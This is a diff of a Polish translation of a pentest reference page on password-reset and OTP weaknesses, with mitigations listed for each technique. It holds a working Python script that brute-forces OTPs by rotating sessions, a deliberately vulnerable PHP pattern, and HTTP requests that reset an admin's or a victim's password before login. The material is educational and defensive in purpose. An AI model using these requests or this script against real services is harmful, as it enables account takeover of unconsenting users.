- Manipulowanie odpowiedziami HTTP, aby ominąć komunikaty o błędach lub ograniczenia.
|
||||||
- **Środki zaradcze**:
|
- **Kroki łagodzące**:
|
||||||
- Wprowadź sprawdzenia po stronie serwera, aby zapewnić integralność odpowiedzi.
|
- Wdróż kontrole po stronie serwera, aby zapewnić integralność odpowiedzi.
|
||||||
- Użyj bezpiecznych kanałów komunikacji, takich jak HTTPS, aby zapobiec atakom typu man-in-the-middle.
|
- Użyj bezpiecznych kanałów komunikacji, takich jak HTTPS, aby zapobiec atakom typu man-in-the-middle.
|
||||||
- **Źródło**:
|
- **Źródło**:
|
||||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||||
|
|
||||||
## **Using Expired Token**
|
## **Użycie wygasłego tokena**
|
||||||
|
|
||||||
- Testowanie, czy wygasłe tokeny wciąż mogą być użyte do resetu hasła.
|
- Testowanie, czy wygasłe tokeny można nadal wykorzystać do resetu hasła.
|
||||||
- **Środki zaradcze**:
|
- **Kroki łagodzące**:
|
||||||
- Wdróż rygorystyczne polityki wygaśnięcia tokenów i weryfikuj wygaśnięcie po stronie serwera.
|
- Wdróż rygorystyczne polityki wygaśnięcia tokenów i waliduj wygaśnięcie po stronie serwera.
|
||||||
|
|
||||||
## **Brute Force Password Reset Token**
|
## **Brute Force tokenu resetu hasła**
|
||||||
|
|
||||||
- Próby brute-force tokena resetującego przy użyciu narzędzi takich jak Burpsuite i IP-Rotator w celu ominięcia ograniczeń rate limiting opartych na IP.
|
- Próba brute-force tokena resetu przy użyciu narzędzi takich jak Burpsuite i IP-Rotator, by ominąć ograniczenia rate limiting oparte na IP.
|
||||||
- **Środki zaradcze**:
|
- **Kroki łagodzące**:
|
||||||
- Wdróż solidny rate-limiting i mechanizmy blokady konta.
|
- Wdróż solidne ograniczenia rate limiting i mechanizmy blokady konta.
|
||||||
- Monitoruj podejrzane działania wskazujące na ataki brute-force.
|
- Monitoruj podejrzane aktywności wskazujące na ataki brute-force.
|
||||||
|
|
||||||
## **Try Using Your Token**
|
## **Spróbuj użyć swojego tokena**
|
||||||
|
|
||||||
- Testowanie, czy token resetujący atakującego może być użyty w połączeniu z adresem e-mail ofiary.
|
- Testowanie, czy token resetu atakującego może zostać użyty razem z adresem e-mail ofiary.
|
||||||
- **Środki zaradcze**:
|
- **Kroki łagodzące**:
|
||||||
- Upewnij się, że tokeny są powiązane z sesją użytkownika lub innymi atrybutami specyficznymi dla użytkownika.
|
- Upewnij się, że tokeny są powiązane z sesją użytkownika lub innymi atrybutami specyficznymi dla użytkownika.
|
||||||
|
|
||||||
## **Session Invalidation in Logout/Password Reset**
|
## **Unieważnianie sesji przy wylogowaniu/resecie hasła**
|
||||||
|
|
||||||
- Zapewnienie unieważnienia sesji, gdy użytkownik wylogowuje się lub resetuje hasło.
|
- Zapewnienie, że sesje są unieważniane, gdy użytkownik się wylogowuje lub resetuje hasło.
|
||||||
- **Środki zaradcze**:
|
- **Kroki łagodzące**:
|
||||||
- Wdróż prawidłowe zarządzanie sesjami, zapewniając, że wszystkie sesje zostaną unieważnione po wylogowaniu lub resecie hasła.
|
- Wdróż właściwe zarządzanie sesjami, zapewniając unieważnienie wszystkich sesji przy wylogowaniu lub resecie hasła.
|
||||||
|
|
||||||
## **Session Invalidation in Logout/Password Reset**
|
## **Unieważnianie sesji przy wylogowaniu/resecie hasła**
|
||||||
|
|
||||||
- Tokeny resetujące powinny mieć czas wygaśnięcia, po którym stają się nieważne.
|
- Tokeny resetujące powinny mieć czas wygaśnięcia, po którym stają się nieważne.
|
||||||
- **Środki zaradcze**:
|
- **Kroki łagodzące**:
|
||||||
- Ustaw rozsądny czas wygaśnięcia dla tokenów resetujących i egzekwuj go rygorystycznie po stronie serwera.
|
- Ustaw rozsądny czas wygaśnięcia tokenów resetujących i egzekwuj go rygorystycznie po stronie serwera.
|
||||||
|
|
||||||
## **OTP rate limit bypass by changing your session**
|
## **Omijanie limitu OTP przez zmianę sesji**
|
||||||
|
|
||||||
- Jeśli strona używa sesji użytkownika do śledzenia nieprawidłowych prób OTP i OTP jest słaby (<= 4 cyfry), można skutecznie przeprowadzić brute-force OTP.
|
- Jeśli strona używa sesji użytkownika do śledzenia błędnych prób OTP i OTP był słaby (<= 4 cyfry), możemy skutecznie bruteforce'ować OTP.
|
||||||
- **Eksploatacja**:
|
- **eksploatacja**:
|
||||||
- Wystarczy zażądać nowego tokena sesji po zablokowaniu przez serwer.
|
- po prostu zażądaj nowego tokena sesji po zablokowaniu przez serwer.
|
||||||
- **Przykładowy kod** który wykorzystuje ten błąd przez losowe zgadywanie OTP (gdy zmienisz sesję, OTP również się zmieni, więc nie będziemy mogli przeprowadzić sekwencyjnego brute-force'a!):
|
- **Przykład** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
|
||||||
|
|
||||||
``` python
|
``` python
|
||||||
# Authentication bypass by password reset
|
# Authentication bypass by password reset
|
||||||
@ -203,7 +203,7 @@ parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0
|
|||||||
parms["s"] = 164 # not important it only efects the frontend
|
parms["s"] = 164 # not important it only efects the frontend
|
||||||
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
|
||||||
|
|
||||||
if ter == 8: # follow number of trails
|
if ter == 8: # follow number of rails
|
||||||
out = requests.get(logout,headers=headers) # log u out
|
out = requests.get(logout,headers=headers) # log u out
|
||||||
mainp = requests.get(root) # gets another phpssid (token)
|
mainp = requests.get(root) # gets another phpssid (token)
|
||||||
|
|
||||||
@ -233,9 +233,9 @@ print("[+] Attck stopped")
|
|||||||
|
|
||||||
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||||
|
|
||||||
Niektóre implementacje udostępniają akcję zmiany hasła, która wywołuje procedurę zmiany hasła z skipOldPwdCheck=true i nie weryfikuje żadnego tokena resetu ani własności. Jeśli endpoint akceptuje parametr action taki jak change_password oraz username/nowe hasło w ciele żądania, atakujący może zresetować dowolne konto przed uwierzytelnieniem.
|
Niektóre implementacje udostępniają akcję zmiany hasła, która wywołuje procedurę zmiany hasła z skipOldPwdCheck=true i nie weryfikuje żadnego tokena resetu ani własności. Jeśli endpoint akceptuje parametr action taki jak change_password oraz username/new password w ciele żądania, atakujący może zresetować dowolne konto przed uwierzytelnieniem.
|
||||||
|
|
||||||
Podatny wzorzec (PHP):
|
Wzorzec podatny (PHP):
|
||||||
```php
|
```php
|
||||||
// hub/rpwd.php
|
// hub/rpwd.php
|
||||||
RequestHandler::validateCSRFToken();
|
RequestHandler::validateCSRFToken();
|
||||||
@ -255,21 +255,34 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t
|
|||||||
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Żądanie eksploatacji (koncepcja):
|
Wniosek o eksploatację (koncepcja):
|
||||||
```http
|
```http
|
||||||
POST /hub/rpwd.php HTTP/1.1
|
POST /hub/rpwd.php HTTP/1.1
|
||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
|
||||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||||
```
|
```
|
||||||
Środki zaradcze:
|
Mitigacje:
|
||||||
- Zawsze wymagaj ważnego, ograniczonego w czasie reset token powiązanego z kontem i sesją przed zmianą hasła.
|
- Zawsze wymagaj ważnego, ograniczonego czasowo reset tokenu powiązanego z kontem i sesją przed zmianą hasła.
|
||||||
- Nigdy nie eksponuj ścieżek skipOldPwdCheck dla niezalogowanych użytkowników; wymuszaj uwierzytelnienie przy zwykłych zmianach hasła i weryfikuj stare hasło.
|
- Nigdy nie wystawiaj ścieżek skipOldPwdCheck dla nieuwierzytelnionych użytkowników; wymuszaj uwierzytelnienie przy zwykłych zmianach hasła i weryfikuj stare hasło.
|
||||||
- Unieważnij wszystkie aktywne sesje i reset tokens po zmianie hasła.
|
- Unieważnij wszystkie aktywne sesje i reset tokens po zmianie hasła.
|
||||||
|
|
||||||
|
## Rejestracja jako reset hasła (Upsert on Existing Email)
|
||||||
|
|
||||||
|
Niektóre aplikacje implementują handler rejestracji jako upsert. Jeśli adres e-mail już istnieje, handler cicho aktualizuje rekord użytkownika zamiast odrzucać żądanie. Gdy endpoint rejestracji akceptuje minimalne body JSON z istniejącym adresem e-mail i nowym hasłem, w praktyce staje się to pre-auth password reset bez żadnej weryfikacji własności, umożliwiając pełne account takeover.
|
||||||
|
|
||||||
|
Pre-auth ATO PoC (overwriting an existing user's password):
|
||||||
|
```http
|
||||||
|
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||||
|
Host: www.target.tld
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{"email":"victim@example.com","password":"New@12345"}
|
||||||
|
```
|
||||||
## Źródła
|
## Źródła
|
||||||
|
|
||||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||||
|
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user